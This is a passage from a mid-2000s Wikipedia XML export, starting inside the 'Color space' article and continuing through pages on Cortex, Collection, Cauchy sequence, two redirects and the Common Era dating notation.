Most people have heard that a wide range of colors can be created by the [[primary colors]] red, blue, and yellow, if working with paints. Those colors then define a color space. We can specify the amount of red color as the X [[coordinate axis|axis]], the amount of blue as the Y axis, and the amount of yellow as the Z axis, giving us a three-dimensional space, wherein every possible color has a unique position.

However, this is not the only color space. For instance, when colors are displayed on a computer monitor, they are usually defined in the RGB (red, green and blue) color space. This is another way of making the same colors, and red, green and blue can be considered as the X, Y and Z axes. Another way of making the same colors is to use their [[hue]] (X axis), their [[saturation (color theory)|saturation]] (Y axis) and their [[brightness]] (Z axis). This is called the [[HSV_color_space|HSB]] color space. There are many more color spaces. Many can be represented as three-dimensional (X,Y,Z) values in this way, but some have more, or fewer dimensions, and some cannot be represented in this way at all.

== Notes ==
When formally defining a color space, the usual reference standard is the [[Lab color space|CIELAB]] color space, which was specifically designed to encompass all colors the average human can see.  This is the most accurate color space but is too complex for everyday uses.

Since &quot;color space&quot; is a more specific term for a certain ''combination'' of a color model plus a color mapping function, the term &quot;color space&quot; tends to be used to also identify color models, since identifying a color space automatically identifies the associated color model. Informally, the two terms are often used interchangeably, though this is strictly incorrect. For example, although several specific color spaces are based on the RGB model, there is no such thing as ''the'' RGB color space.

In the generic sense of the definitions above, color spaces can be defined without the use of a color model. These spaces, such as [[Pantone]], are in effect a given set of names or numbers which are defined by the existence of a corresponding set of physical color swatches.

Since any color space defines colors as a function of the absolute reference frame, color spaces, along with device profiling, allow reproducible representations of color, in both [[analog signal|analogue]] and [[digital]] representations.

=== Color space density ===

The RGB color model is implemented in different ways, depending on the capabilities of the system used. By far the most common general-use incarnation [[as of 2005]] is the 24-[[bit]] implementation, with 8 bits, or 256 discrete levels of color per [[color channel|channel]]. Any color space based on such a 24-bit RGB model is thus limited to a gamut of 256&amp;times;256&amp;times;256 &amp;asymp; 16.7 million colors. Some implementations use 16 bits per component, resulting in the same range with a greater density of distinct colors. This is especially important when working with wide-gamut color spaces (where most of the more common colors are located relatively close together), or when a large number of digital filtering algorithms are used consecutively. The same principle applies for any color spaces based on the same color model, but implemented in different bit depths.

== Partial list of color spaces ==

[[CIE 1931 color space|CIE 1931 XYZ color space]] is the first attempt to produce a color space based on measurements of human color perception and it is the basis for almost all other color spaces. Variants of the CIE space include

* [[Lab color space|CIELUV]] color space - a modification to display color differences more conveniently, replaced by:
* [[Lab color space|CIELAB]] color space
* CIE 1964 color space - measurements over a larger field of view than the 1931 color space which produces slightly different results.

=== Generic color models ===
[[Image:AdditiveColorMixing.png|thumbnail|200px|Additive color mixing]]
[[Image:SubtractiveColorMixing.png|thumbnail|200px|Subtractive color mixing]]

[[RGB color space|RGB]] uses [[additive color]] mixing, because it describes what kind of ''light'' needs to be ''emitted'' to produce a given color. Light is added together to create form from out of the darkness. RGB stores individual values for red, green and blue. [[RGBA color space|RGBA]] is RGB with an additional channel, alpha, to indicate transparency.

Common color spaces based on the RGB model include [[sRGB]], [[Adobe RGB color space|Adobe RGB]] and [[Adobe Wide Gamut RGB color space|Adobe Wide Gamut RGB]].

[[CMYK]] uses [[subtractive color]] mixing used in the printing process, because it describes what kind of ''inks'' need to be applied so the light reflected from the substrate and through the inks produces a given color.  One starts with a white substrate (canvas, page, etc), and uses ink to subtract color from white to create an image.  [[CMYK]] stores ink values for cyan, magenta, yellow and black.  There are many CMYK colorspaces for different sets of inks, substrates, and press characteristics (which change the dot gain or transfer function for each ink and thus change the appearance).

[[YIQ]] is used in [[NTSC]] (North American) television broadcasts for historical reasons.  [[YIQ]] stores a luminance value with two chrominance values, corresponding approximately to the amounts of blue and red in the color. It corresponds closely to the [[YUV]] scheme used in [[PAL]] television except that the YIQ color space is rotated 33&amp;deg; with respect to the YUV color space. The [[YDbDr]] scheme used by [[SECAM]] television is rotated in another way. (''work needed'')

[[YPbPr]] is a scaled version of YUV. It is most commonly seen in its digital form, [[YCbCr]], used widely in [[Video compression|video]] and [[Image compression|image]] compression schemes such as [[MPEG]] and [[JPEG]].

[[HSV color space|HSV]] ('''h'''ue, '''s'''aturation, '''v'''alue), also known as HSB (hue, saturation, '''b'''rightness) is often used by artists because it is often more natural to think about a color in terms of hue and saturation than in terms of additive or subtractive color components. HSV is a transformation of an RGB colorspace, and its components and colorimetry are relative to the RGB colorspace from which it was derived.

[[HSL color space|HSL]] ('''h'''ue, '''s'''aturation, '''l'''ightness/'''l'''uminance), also known as HLS or HSI (hue, saturation, '''i'''ntensity) is quite similar to [[HSV color space|HSV]], with &quot;lightness&quot; replacing &quot;brightness&quot;. The difference is that the ''brightness'' of a pure color is equal to the brightness of white, while the ''lightness'' of a pure color is equal to the lightness of a medium gray.

Once you've decided which color model you want to work in, if you are working on a computer, you must then address the problem of color space encoding.

=== Commercial color spaces ===

* [[Munsell color system]]
* [[Natural Color System|Natural Color System (NCS)]]

=== Special-purpose color spaces ===

* The [[RG Chromaticity]] space is used in [[Computer vision]] applications, and shows the color of light (red, yellow, green etc.), but not its intensity (dark, bright).

=== Obsolete color spaces ===

Early color spaces had two components. They largely ignored blue light because the added complexity of a 3-component process provided much less of a marginal increase in fidelity than the jump from monochrome to 2-component color.

* [[RG color space|RG]] for early [[Technicolor]] film
* [[RGK color space|RGK]] for early color printing

==References==
* [[R. W. G. Hunt]], &lt;cite&gt;The Reproduction of Colour in Photography, Printing &amp; Television&lt;/cite&gt;, 5th Ed. Fountain Press, England, 1995. ISBN 0863433812
* Mark D. Fairchild, &lt;cite&gt;Color Appearance Models&lt;/cite&gt;, Addison-Wesley, Reading, MA (1998). ISBN 0-201-63464-3
* Charles A. Poynton, &lt;cite&gt;[http://groups.google.co.uk/groups?selm=kvpnumINN4rr%40exodus.Eng.Sun.COM&amp;rnum=1 Introduction to Video Colour Spaces]&lt;/cite&gt;

==See also==
* [[List of colors]]
* [[Additive color]]
* [[Subtractive color]]
* [[Pitch space]]
* [[Color models]]

==External links==
* [http://www.poynton.com/ColorFAQ.html Charles Poynton's Color FAQ]
* [http://www.colourware.co.uk/cpfaq.htm FAQ about color physics]
* [http://www.physics.sfasu.edu/astro/color.html Dan Bruton's Color Science]
* [http://www-swiss.ai.mit.edu/~jaffer/Color/index.html Color-Scheme - open source color space management package written in Scheme]
* [http://www.wackerart.de/mixer.html RGB-Color Mixer Java Applet] Java-Plugin required
* [http://www.easyrgb.com/math.php Color Space Conversion Formulas]
* [http://www.cambridgeincolour.com/tutorials/color-space-conversion.htm Color Space Conversion]: conceptual understanding for photographers using detailed visualizations
* [http://www.yafla.com/dforbes/yaflaColor/ColorRGBHSL.aspx yaflaColor]:  HSL-RGB Conversion and exploration
* [http://www.couleur.org/index.php?page=transformations Color Space Visualization]

[[Category:Color space|Color space]]
[[Category:Color]]
[[Category:Image processing]]

[[de:Farbraum]]
[[ko:색 공간]]
[[it:Spazio dei colori]]
[[nl:Kleurruimte]]
[[ja:色空間]]
[[pt:Color space]]
[[fi:Väriavaruus]]</text>
    </revision>
  </page>
  <page>
    <title>Cortex</title>
    <id>6082</id>
    <revision>
      <id>26895641</id>
      <timestamp>2005-10-30T17:42:17Z</timestamp>
      <contributor>
        <username>Arcadian</username>
        <id>104523</id>
      </contributor>
      <comment>contrast with [[medulla]]</comment>
      <text xml:space="preserve">'''''Cortex''''' ([[Latin]] for ''[[bark]]'') in general means the outer layer (contrast with [[medulla]]). It has different specific meanings, depending on the context:
*In [[neuroanatomy]]:
** the [[cerebral cortex]] (often simply called &quot;cortex&quot;) is the thin wrinkled outermost layer of the [[brain]]. It is rich in [[neuron]]s and is the site of most sophisticated neural processing. 
** the [[cerebellar cortex]] is the outermost layer of the [[cerebellum]]
*In [[botany]], the [[cortex (botany)|cortex]] is the outer portion of the [[plant stem|stem]] or [[root]] of a plant.
*In [[anatomy]] and [[zoology]], the [[cortex (anatomy)|cortex]] is the outermost (or &quot;superficial&quot;) layer of an [[organ (anatomy)|organ]].
*In [[lithic analysis]] in [[archaeology]], the [[cortex (archaeology)|cortex]] is the outer layer of [[rock (geology)|rock]] formed on the exterior of raw materials by chemical and mechanical weathering processes.
*In the [[television series]] ''[[Firefly (TV series)|Firefly]]'', the 'cortex' is the interplanetary equivalent of the [[Internet]].

See also: [[Cordtex]].
{{disambig}}

[[da:Kortex]]
[[de:Cortex]]
[[ja:&amp;#22823;&amp;#33075;&amp;#30382;&amp;#36074;]]
[[nl:Cortex]]
[[pt:Córtex]]</text>
    </revision>
  </page>
  <page>
    <title>Collection</title>
    <id>6084</id>
    <revision>
      <id>34890440</id>
      <timestamp>2006-01-12T14:40:26Z</timestamp>
      <contributor>
        <username>Batmanand</username>
        <id>131948</id>
      </contributor>
      <comment>disambig correction</comment>
      <text xml:space="preserve">{{wiktionary}}
In common usage, a '''collection''' is any group of items that has one or more properties in common, usually brought together for some specific purpose. See [[Collecting]] and [[Collectible]]s.

The term can also be used more specifically:

*In [[mathematics]], collection is not precisely defined, but can refer to various objects. Most often it refers to a [[set]], [[class (set theory)|class]], [[family (mathematics)|family]], or [[multiset]].
*[[Collection (horse)|Collection]] in [[equestrianism]] describes a way in which horses move and hold themselves.
*In [[museum]]s and [[Art gallery|art galleries]], the [[Collection (museum)|collection]] of objects in a particular field forms the core basis for the museum. 
*In [[music]], specifically [[diatonic set theory]], a collection is similar to a [[tone row]]; see [[generated collection]].
*In a church the collection is the money collected from the congregation during a service.  The congregation normally place their donation into a collection plate or bag which is passed around and returned to the priest.  
*At the [[University of Oxford]], [[Collection (Oxford Colleges)|Collections]] are exams given by a student's college to determine their ongoing performance.


{{disambig}}

[[zh:&amp;#25910;&amp;#34255;]]
[[de:Sammlung]]
[[es:Colección]]
[[io:Kolektajo]]
[[nl:verzameling]]</text>
    </revision>
  </page>
  <page>
    <title>Cauchy sequence</title>
    <id>6085</id>
    <revision>
      <id>40973655</id>
      <timestamp>2006-02-24T05:21:49Z</timestamp>
      <contributor>
        <username>Oleg Alexandrov</username>
        <id>153314</id>
      </contributor>
      <comment>explain the case of real numbers first. Sectioning.</comment>
      <text xml:space="preserve">In [[mathematical analysis]], a '''Cauchy sequence''', named after [[Augustin Cauchy]], is a [[sequence]] whose elements become ''close'' as the sequence progresses. To be more precise, by dropping a finite number of elements from the start of the sequence we can make the [[metric (mathematics)|distance]] between any two remaining elements arbitrarily small.

Cauchy sequences require the notion of distance so they can only be defined in a [[metric space]]. Generalizations to more abstract [[uniform spaces]] exist in the form of [[Cauchy filter]] and [[Cauchy net]].

They are of interest because in a [[complete space]], all such sequences [[limit of a sequence|converge to a limit]], and one can test for &quot;Cauchiness&quot; without knowing the value of the limit (if it exists), in contrast to
the [[limit of a sequence#Formal definition|definition of convergence]].

==Cauchy sequence of real numbers==

A sequence 

:&lt;math&gt;x_1, x_2, x_3, \ldots &lt;/math&gt;

of [[real number]]s is called '''Cauchy''', if for every [[positive and negative numbers|positive]] real number ''r'' &gt; 0 there is a positive [[integer]] ''N'' such that for all integers ''m'',''n'' &gt; ''N'' one has 

:&lt;math&gt;|x_m - x_n| &lt; r, &lt;/math&gt;

where the vertical bars denote the [[absolute value]]. 

== Cauchy sequence in a metric space ==

In the same way one can define Cauchy sequences of rational numbers and complex numbers. More generally, one may define Cauchy sequences in any metric space; then &lt;math&gt;|x_m - x_n| &lt;/math&gt; is replaced by the ''distance'' &lt;math&gt;d(x_m, x_n) &lt;/math&gt; between &lt;math&gt;x_m&lt;/math&gt; and &lt;math&gt;x_n&lt;/math&gt;. 

Formally, given a [[metric space]] (''M'', ''d''), a sequence

:&lt;math&gt;x_1, x_2, x_3, \ldots &lt;/math&gt;

is Cauchy, if for every positive [[real number]] ''r'' &gt; 0 there is an [[integer]] ''N'' such that for all integers ''m'',''n'' &gt; ''N'', the distance 

:&lt;math&gt;d(x_m, x_n)&lt;/math&gt;

is less than ''r''. Roughly speaking, the terms of the sequence are getting closer and closer together in a way that suggests that the sequence ought to have a [[limit (mathematics)|limit]] in ''M''. Nonetheless, this may not be the case.

== Completeness ==

A metric space ''X'' in which every Cauchy sequence has a limit (in ''X'') is called [[complete space|complete]].

=== Example: real numbers ===

The [[real number]]s are complete, and the standard construction of the real numbers involves Cauchy sequences of [[rational number]]s.

=== Counter-example: rational numbers ===

The [[rational number]]s '''Q''' are not complete (for the usual distance):
There are sequences of rationals that converge (in '''R''') to [[irrational number]]s; these are Cauchy sequences having no limit in '''Q'''.

For example:

* The sequence defined by ''x&lt;sub&gt;0&lt;/sub&gt; = 1'', ''x&lt;sub&gt;n+1&lt;/sub&gt;'' = (''x&lt;sub&gt;n&lt;/sub&gt;'' + 2/''x&lt;sub&gt;n&lt;/sub&gt;'')/2 consists of rational numbers (1, 3/2, 17/12,...), which is clear from the definition; it converges to the [[irrational number|irrational]] square root of two, see [[Methods_of_computing_square_roots#Babylonian_method|Babylonian method of computing square root]].
* The values of the exponential, sine and cosine functions, exp(''x''), sin(''x''), cos(''x''), are irrational for any rational value of ''x''&amp;ne;0, but are defined as limit of a rational sequence which is their [[Maclaurin series]].

=== Other properties ===

Every convergent sequence is a Cauchy sequence, and every Cauchy sequence is [[bounded function|bounded]]. If &lt;math&gt;f \colon M \rightarrow N&lt;/math&gt; is a [[uniformly continuous]] map between the metric spaces ''M'' and ''N'' and (''x''&lt;sub&gt;''n''&lt;/sub&gt;) is a Cauchy sequence in ''M'', then &lt;math&gt;(f(x_n))&lt;/math&gt; is a Cauchy sequence in ''N''. If &lt;math&gt;(x_n)&lt;/math&gt; and &lt;math&gt;(y_n)&lt;/math&gt; are two Cauchy sequences in the rational, real or complex numbers, then the sum &lt;math&gt;(x_n + y_n)&lt;/math&gt; and the product &lt;math&gt;(x_n y_n)&lt;/math&gt; are also Cauchy sequences.

==Generalizations==

=== Cauchy sequences in topological vector spaces ===

There is also a concept of Cauchy sequence for a [[topological vector space]] ''X'': Pick a [[local base]] ''B'' for ''X'' about 0; then (''x''&lt;sub&gt;''k''&lt;/sub&gt;) is a Cauchy sequence if for all members ''V'' of ''B'', there is some number ''N'' such that whenever 
''n'',''m'' &gt; ''N'', 
''x''&lt;sub&gt;''n''&lt;/sub&gt; - ''x''&lt;sub&gt;''m''&lt;/sub&gt; is an element of ''V''. If the topology of ''X'' is compatible with a [[translation-invariant metric]] ''d'', the two definitions agree.

=== Cauchy sequences in groups ===

There is also a concept of Cauchy sequence in a group ''G'':
Let ''H''=(''H&lt;sub&gt;r&lt;/sub&gt;'') be a decreasing sequence of normal subgroups of ''G'' of finite [[index of a subgroup|index]].
Then a sequence (''x&lt;sub&gt;n&lt;/sub&gt;'') in ''G'' is said to be Cauchy (w.r.t. ''H'') [[iff]] for any ''r'' there is ''N'' such that ''&amp;forall;m,n &gt; N, x&lt;sub&gt;n&lt;/sub&gt; x&lt;sub&gt;m&lt;/sub&gt;&lt;sup&gt;-1&lt;/sup&gt; &amp;isin; H&lt;sub&gt;r&lt;/sub&gt;''.

The set ''C'' of such Cauchy sequences forms a group (for the componentwise product), and the set ''C&lt;sub&gt;0&lt;/sub&gt;'' of null sequences (s.th. ''&amp;forall;r, &amp;exist;N, &amp;forall;n &gt; N, x&lt;sub&gt;n&lt;/sub&gt;&amp;isin;H&lt;sub&gt;r&lt;/sub&gt;'') is a normal subgroup of ''C''. The [[factor group]] ''C/C&lt;sub&gt;0&lt;/sub&gt;'' is called the completion of ''G'' w.r.t. ''H''.

One can then show that this completion is isomorphic to the [[inverse limit]] of the sequence ''(G/H&lt;sub&gt;r&lt;/sub&gt;)''.

If ''H'' is a [[cofinal (mathematics)|cofinal]] sequence (i.e., any normal subgroup of finite index contains some ''H&lt;sub&gt;r&lt;/sub&gt;''), then this completion is [[canonical]] in the sense that it is isomorphic to the inverse limit of ''(G/H)&lt;sub&gt;H&lt;/sub&gt;'', where ''H'' varies over ''all'' normal subgroups of finite [[index of a subgroup|index]].
For further details, see ch. I.10 in Lang's &quot;Algebra&quot;.

== References ==

* {{cite book | author=Lang, Serge | title=Algebra | edition = 3rd ed., reprint w/ corr. | publisher=Addison-Wesley | year=1997 | id=ISBN 0-201-55540-9 }}

[[Category:Metric geometry]]
[[Category:Mathematical analysis]]
[[Category:Topology]]
[[Category:Sequences]]

[[ar:متتالية كوشي]]
[[cs:Cauchyovská posloupnost]]
[[de:Cauchy-Folge]]
[[es:Sucesión de Cauchy]]
[[fr:Suite de Cauchy]]
[[it:Successione fondamentale]]
[[he:סדרת קושי]]
[[hu:Cauchy-sorozat]]
[[nl:Cauchyrij]]
[[ja:コーシー列]]
[[pl:Ciąg Cauchy'ego]]
[[ru:Фундаментальная последовательность]]
[[uk:Фундаментальна послідовність]]
[[zh:柯西序列]]</text>
    </revision>
  </page>
  <page>
    <title>Cauchy sequences</title>
    <id>6086</id>
    <revision>
      <id>15904248</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cauchy sequence]]
</text>
    </revision>
  </page>
  <page>
    <title>Copernicus</title>
    <id>6087</id>
    <revision>
      <id>15904249</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Nicolaus Copernicus]]

</text>
    </revision>
  </page>
  <page>
    <title>Common Era</title>
    <id>6088</id>
    <revision>
      <id>40636000</id>
      <timestamp>2006-02-21T23:49:34Z</timestamp>
      <contributor>
        <username>Qero</username>
        <id>417430</id>
      </contributor>
      <minor />
      <comment>Encyclopedia Britannica -&gt; Encyclopædia Britannica</comment>
      <text xml:space="preserve">The '''Common Era''' ('''CE'''), sometimes known as the '''Christian Era''' or '''Current Era''', is the period of measured time beginning with the year [[1]] until the present. The term is used for a system of reckoning years that is both derived from and chronologically equivalent to the ''[[anno Domini]]'' (AD) ([[Latin]] for &quot;in the year of the Lord&quot;) system, but with less overtly religious implications. Although ''common era'' was a term first used by some Christians in an age when Christianity was the common religion of the West, it is now a term preferred by some as a religiously neutral alternative, though others criticize it as an unnecessary attempt at [[political correctness]]. It has its equivalents in other languages. For example, [[Chinese language|Chinese]] uses its literal translation, ''gōngyuán'' (公元), for date notation.

==Chronology and notation==
{{main|Anno Domini}}

The calendar practice prompting the coining of the term ''common era'' is the system of numbering years from the birth of [[Jesus]]. This system was devised by the [[monk]] [[Dionysius Exiguus]] in the year 525, who named it ''anno Domini''. Two centuries later, the Anglo-Saxon historian [[Bede]] introduced a Latin term that is roughly equivalent to the [[English language|English]] term ''before Christ'' to identify years before the first year of this era. 

The term &quot;common era&quot; is an alternative way of referring to this era. Using this nomenclature, [[human being]]s first [[Apollo 11|walked on the Moon]] in the year 1969 ''of the common era'', and the [[French Revolution]] is considered to have occurred in year 1789 ''of the common era''.

When used as a replacement for BC/AD notation, the common era is abbreviated as ''CE'' and its years are numerically equivalent to ''AD'' years.  Similarly, the time before the common era is written as ''BCE'' and is equivalent to ''BC''. Both Common Era abbreviations are written following the year, thus [[Aristotle]] was born in 384 BCE (or 384 BC), and [[Genghis Khan]] died in 1227 CE (or AD 1227). As with ''anno Domini'', the [[year zero]] is not used, except for [[Astronomical year numbering|astronomical uses]]. So 1 CE is immediately preceded by 1 BCE.

On (rare) [http://www.google.co.uk/search?hl=en&amp;q=%22Era+Vulgaris%22&amp;btnG=Google+Search&amp;meta= occasions], one may find the abbreviation &quot;e.v.&quot; or &quot;EV&quot; instead of &quot;CE&quot;; this stands for &quot;Era Vulgaris&quot;, the Latin translation of &quot;Common Era&quot;.

==Origins== 
According to [[Peter Daniels]] (a [[Cornell University]] and [[University of Chicago]] trained linguist):
&lt;blockquote&gt;
CE and BCE came into use in the last few decades, perhaps originally in Ancient Near Eastern studies, where (a) there are many [[Jewish]] scholars and (b) dating according to a Christian era is irrelevant. It is indeed a question of sensitivity.
&lt;/blockquote&gt;

However, the term &quot;common era&quot; has earlier antecedents.  A 1716 book by English Bishop John Prideaux says, &quot;The vulgar era, by which we now compute the years from his incarnation.&quot;  In 1835, in his book ''Living Oracles'', [[Alexander Campbell]], wrote &quot;The vulgar Era, or Anno Domini; the fourth year of Jesus Christ, the first of which was but eight days.&quot; In its article on Chronology, the 1908 ''[[Catholic Encyclopedia]]'' uses the sentence: &quot;Foremost among these (dating eras) is that which is now adopted by all civilized peoples and known as the Christian, [[Vulgar]] or Common Era, in the twentieth century of which we are now living.&quot;

&quot;Vulgar&quot; comes from the [[Latin]] word ''vulgāris'' (from ''vulgus'', the common people), meant &quot;of or belonging to the common people, everyday,&quot; and acknowledges that the date was commonly used, even by people who did not believe that Jesus was divine.  By the late 1800s, however, vulgar had come to mean &quot;crudely indecent&quot; and the Latin word was replaced by its English equivalent, &quot;common&quot;.

The first known Jewish use of this practice is from an inscription on a gravestone in a Jewish cemetery in [[Plymouth, England]]: 
&lt;blockquote&gt;
Here is buried his honour Judah ben his honour Joseph, a prince and honoured amongst philanthropists, who executed good deeds, died in his house in the City of Bath, Tuesday, and was buried here on Sunday, 19 Sivan in the year 5585. In memory of Lyon Joseph Esq (merchant of [[Falmouth, Cornwall]]). who died at Bath June [[Anno Mundi|AM]] 5585/VE 1825. Beloved and respected.
&lt;/blockquote&gt;

This inscription uses the Jewish calendar (5585), but ends by providing the common year (1825); presumably the &quot;VE&quot; means &quot;Vulgar Era&quot;, and presumably VE was used instead of AD in order to avoid the Christian implications.

In 1908, in its article on &quot;Chronology&quot;, the Catholic Encyclopedia uses the sentence: &quot;Foremost among these [dating eras] is that which is now adopted by all civilized peoples and known as the Christian, Vulgar, or Common Era, in the twentieth century of which we are now living.&quot;  This may be the earliest use of &quot;Common Era.&quot;

==Usage==
Jewish and Christian scholars have developed the BCE/CE terms for the benefit of cross-cultural dialogue.[http://www.torontoareamennonites.ca/danforth/dmc_notes/witmer10.htm]. Some Islamic scholars and others outside the [[Judeo-Christian]] religious traditions have used the system. Some Christians have used the term CE to mean &quot;Christian era.&quot;  Many non-religious academics in the fields of [[history]], [[theology]], [[archaeology]] and [[anthropology]] have also in recent decades begun using this system.

More visible uses of common era notation have recently surfaced at major museums in the English-speaking world: The [[Smithsonian Institution]] also prefers Common Era usage, though individual museums are not required to use it.[http://www.smithsonianeducation.org/educators/field_trips/standards/world_history_standards.html]  As well, many style guides now prefer or mandate its usage. [http://www.egyptstudy.org/OstraconGuidelines.html][http://chass.colostate-pueblo.edu/natrel/pom/pomstyle.html][http://www.press.jhu.edu/journals/american_journal_of_philology/guidelines.html][http://www.sagepub.com/journalManuscript.aspx?pid=10754][http://www.yorku.ca/topia/docs/styleguide] Some style guides for Christian churches even mandate its use; for example, that of the [[Anglicanism|Episcopal]] Diocese of Maryland.[http://www.ang-md.org/mcn/style-guide.pdf (pdf)]

The usage of the BCE/CE notation is growing in [[textbook]]s. It is used by the [[College Board]] in its history tests, as well as by the [[National Geographic Society]]. 

The US [[History Channel]] uses BCE/CE notation in articles on non-Christian religious topics such as [[Religious significance of Jerusalem#Jerusalem, Jews and Judaism|Jerusalem and Judaism]] [http://www.historychannel.com/exhibits/jerusalem/jerutime.html],[http://www.historychannel.com/exhibits/jerusalem/jud.html] and BC/AD in other cases [http://www.historychannel.com/timeline/].

==Support==
Supporters of common era notation promote it as a religiously neutral notation suited for cross-cultural use.

Arguments given for standardizing common era notation include:
*The calendar used by the West has become a global standard — one built into every computer's hardware. It should be religiously and culturally neutral out of consideration for those cultures compelled to use it out of necessity. [http://www.bbc.co.uk/dna/h2g2/brunel/A3176345]
*It has been largely used by academic and scientific communities for over a century now, and is not a completely unfamiliar dating system. [http://www.answers.com/topic/common-era]
*Dating years according to Christian theology has the potential to be culturally divisive in worldwide use. Naming months and days based on Roman and Norse gods, however, is of little concern because the Roman and Norse religions are virtually extinct and thus exclude everyone equally. No alternative naming system for days and months exists which has gained much currency. Furthermore, the names of the days of the week come from the names of the planets and other celestial objects, and four months are already named according to their numerical sequence. People in other cultures are free to name the months and days of the week as they wish in their own language (and they do), but years are just numbers and it is quite easy to make them less overtly culturally specific. [http://www.bbc.co.uk/dna/h2g2/brunel/A3176345]
*Going along with the naming of a day as [[Wednesday]] does not imply that one worships [[Odin]] as a god, anymore than going along with calling a planet [[Jupiter]] implies that one actually worships Jupiter as a god, or even considers him a god. However, the very meanings of AD and of BC are such that they imply the acceptance of Jesus as Christ and as Lord. Saying &quot;Today is Wednesday&quot; does not mean that one attributes divinity to Odin. Saying &quot;This is AD 2006&quot; does actually mean &quot;This is the year of the Lord (Jesus), 2006&quot;.  
*It promotes [[ecumenical]] standards and ''Christian Era'' is an interchangeable meaning for the acronym CE.
*It is simple to change BC/AD to BCE/CE terminology, since the years are exactly equal, regardless of which terminology is used.  No conversion of the numbers is required. Documents with years that do not have AD designation do not need to be changed. (example:  1066 remains 1066 in AD and in CE systems)
*The label ''Anno Domini'' is almost certainly inaccurate &amp;mdash; the birth of Jesus of Nazareth probably occurred no later than 4 BC, the year of [[Herod the Great]]'s death.
*It avoids confusion over whether &quot;AD&quot; should come before or after the year.  (This is important for the in-house manuals of style of periodicals.)
*Stylistic rules which require that AD precede the year are justified by saying that &quot;In the year of our Lord 2005&quot; is correct syntax, and &quot;2005 in the year of our Lord&quot; is incorrect. Such statements belie the claim that AD has lost its religious meaning.
*The intensity with which some Christians protest any switch from BC/AD to BCE/CE indicates that, despite any claims to the contrary, BC/AD has not become &quot;removed from its religious connotations&quot;.
* Common Era notation works well syntactically with centuries, whereas Anno Domini, because it is about years instead of eras, does not (&quot;In the 18th Century, Common Era&quot; vs &quot;In the year of the Lord, 18th Century&quot; vs &quot;In the 19th century in the year of the Lord&quot;)

==Opposition==
Changing dates expressed in AD/BC terminology to CE/BCE has given rise to some opposition. Arguments against the common era designation include:
*The term &quot;Common era&quot; is viewed as a weak [[euphemism]] for ''[[Anno Domini]]''. ''[[MSN Encarta]]'' recognizes the era simply as &quot;Christian (Common) Era: the period after the birth of Jesus Christ&quot; [http://encarta.msn.com/dictionary_1861688066/Common_Era.html] and uses the AD/BC notation in all articles [http://encarta.msn.com/encyclopedia_761565222/Jesus_Christ.html]. Also, ''[[Encyclopædia Britannica]]'' does not even have a listing for &quot;Common era&quot; [http://www.britannica.com/search?query=Common+Era&amp;ct=&amp;searchSubmit.x=7&amp;searchSubmit.y=11], and [http://www.britannica.com/eb/article-9018523?query=Caesar%20Augustus&amp;ct= uses the AD/BC notation] in all of its articles.
*BC and AD have been used for such a length of time as to have become somewhat removed from their religious connotations.
*The newer BCE/CE system has not been used widely enough so as to have become commonly understood.
*&quot;BCE&quot; and &quot;CE&quot; are so similar that they may confuse readers.
*Some believe that changing the notation merely confuses members of the public for only minor benefits.
*Some object to the common era's retention of the year 1 as its [[epoch (reference date)|epoch]] because it preserves a [[Christocentric]] worldview at the expense of a religiously neutral timekeeping system. These people hold that a more massive change in the calendar is needed, one that would change every date.
*Likewise, the imposition of a Christian calendar as a 'Common Era' is also seen by some to be self-defeating.
*BCE/CE fails to fix one of the primary problems with the Christian calendar, the lack of a year '0'. 1 BC should become the year 0, 2 BC should become 1 BC, etc. There is no point to changing the system, without fixing the system.
*As there is no equally forceful trend to remove other terms with origins in non-Christian religions (such as days of the week named after Norse gods, and months named after Roman gods), the movement to replace BC and AD is specifically anti-Christian.

Examples of opposition include:
*When BC was changed to BCE in one examination question in [[New South Wales]], [[Australia]] in early 2005, it prompted questions and protestations of offence in both chambers of the State Parliament, and the State Education Minister stated in Parliament that the change should not have been made.
*When the teaching of what BCE/CE meant was introduced into the English National Curriculum in 2002, it prompted confused letters to national newspapers.
*When the Royal Ontario Museum in Canada changed from using BC to using BCE, it was subjected to derision as well as complaints expressed in the national Canadian press.

==Other calendar eras==
{{main|Calendar era}}
Several major calendar systems exist in addition to the Western calendar:
*The [[Hindu calendar]] constitutes four [[Yuga|eras]] and the epoch of the present (fourth) era, the [[Kali Yuga]], is [[January 23]] [[4th millennium BC|3102 BCE]] on the [[proleptic Gregorian calendar]], making the current year (2006) 5108.
*The [[Hebrew calendar]] dates from the Creation (according to which the year beginning in the northern autumn of 2000 was 5761 [[Anno Mundi|AM]]);
*Most Chinese do not assign numbers to the years of the [[Chinese calendar]], but the few that do (expatriate Chinese and Westerners) date from the [[Yellow Emperor]] (three different systems are in use, which caused the Chinese years 4637, 4697, or  4698 to begin in early 2000).
*The [[Buddhist calendar]] dates from  the birth of the [[Buddha]] (making 2000, 2543 under this calendar, but only in [[Thai solar calendar|Thailand]]);
*The [[Indian national calendar]] (also the ''Saka calendar'') is the official civil calendar in use in [[India]]. Years are counted in the [[Saka Era]], which starts its [[year 0]] in 78. The current year is 1927.
*The [[Islamic calendar]] dates from the [[Hijra (Islam)|Hijra]] in 622 using a lunar year of about 354 days (so the Western year 2000 contains parts of 1420 AH and 1421 AH);
*The [[Bahá'í calendar]] dates from the year of the declaration of the [[Báb]]. Years are counted in the Bahá'í Era (BE), which starts its year 1 from [[March 21]], [[1844]].
*The [[Japanese calendar]] dates from the succession of the current [[Emperor of Japan]]. The current emperor took the throne in 1989, which became Heisei 1, but which was until then Shōwa 63.
*The [[Jalaali calendar]], a form of the [[Zoroastrian calendar]], is used in Iran. This uses the [[Zoroastrian]] months, with the starting year taken from the [[Hijra (Islam)|Hijra]] in 622 - thus the year 1385 begins in March 2006.  The spring equinox marks the beginning of the year for this calendar.
* The [[French Revolutionary Calendar]] was used in Revolutionary France from October 24, 1793 (on the Gregorian calendar) to January 1, 1806. Years were counted using the ''Republican era'' from [[September 22]] [[1792]] starting with year I.

==External links==
*[http://www.religioustolerance.org/ce.htm The use of &quot;CE&quot; and &quot;BCE&quot; to identify dates] (Religious Tolerance.org)
*[http://www.ucc.org/ucnews/jan03/asiseeit.htm Whatever happened to B.C. and A.D., and why?] (United Church of Christ)
